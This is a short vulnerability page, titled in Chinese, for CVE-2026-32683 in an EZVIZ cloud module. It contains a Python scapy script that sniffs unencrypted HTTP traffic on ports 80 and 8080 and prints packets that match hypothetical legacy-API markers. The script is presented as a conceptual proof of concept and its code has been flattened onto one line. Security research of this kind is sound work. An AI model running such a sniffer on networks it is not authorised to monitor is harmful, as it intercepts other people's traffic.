CVE-2026-32683 EZVIZ云模块数据传输风险漏洞

import scapy.all as scapy # Conceptual Proof of Concept for CVE-2026-32683 # This script demonstrates sniffing network traffic to identify unencrypted legacy API requests. def analyze_packet(packet): """ Callback function to process each captured packet. Checks for legacy API patterns in the payload. """ if packet.haslayer(scapy.Raw): payload = packet[scapy.Raw].load try: # Convert payload to string for analysis (assuming HTTP-like text for legacy API) decoded_payload = payload.decode('utf-8', errors='ignore') # Hypothetical marker for the vulnerable legacy API interface if "api/legacy/v1" in decoded_payload or "ezviz_old_protocol" in decoded_payload: print(f"[!] Potential Vulnerable Legacy API Traffic Detected:") print(f" Source: {packet[0][1].src}:{packet[0][2].sport}") print(f" Destination: {packet[0][1].dst}:{packet[0][2].dport}") print(f" Payload Snippet: {decoded_payload[:100]}...") except Exception as e: pass def start_sniffing(interface): """ Starts sniffing on the specified network interface. """ print(f"[*] Starting network sniffing on interface: {interface}") print("[*] Listening for unencrypted legacy API requests (CVE-2026-32683)...") # Filter for TCP traffic to common web ports (80, 8080) where legacy APIs might reside filter_str = "tcp port 80 or tcp port 8080" # scapy.sniff opens the interface and captures packets scapy.sniff(iface=interface, filter=filter_str, prn=analyze_packet, store=False) if __name__ == "__main__": # Note: This requires root/administrator privileges to run. # Replace 'eth0' with the actual network interface name. # Example usage: python3 poc.py try: start_sniffing("eth0") except KeyboardInterrupt: print("\n[*] Sniffing stopped by user.") except Exception as e: print(f"[!] Error: {e}")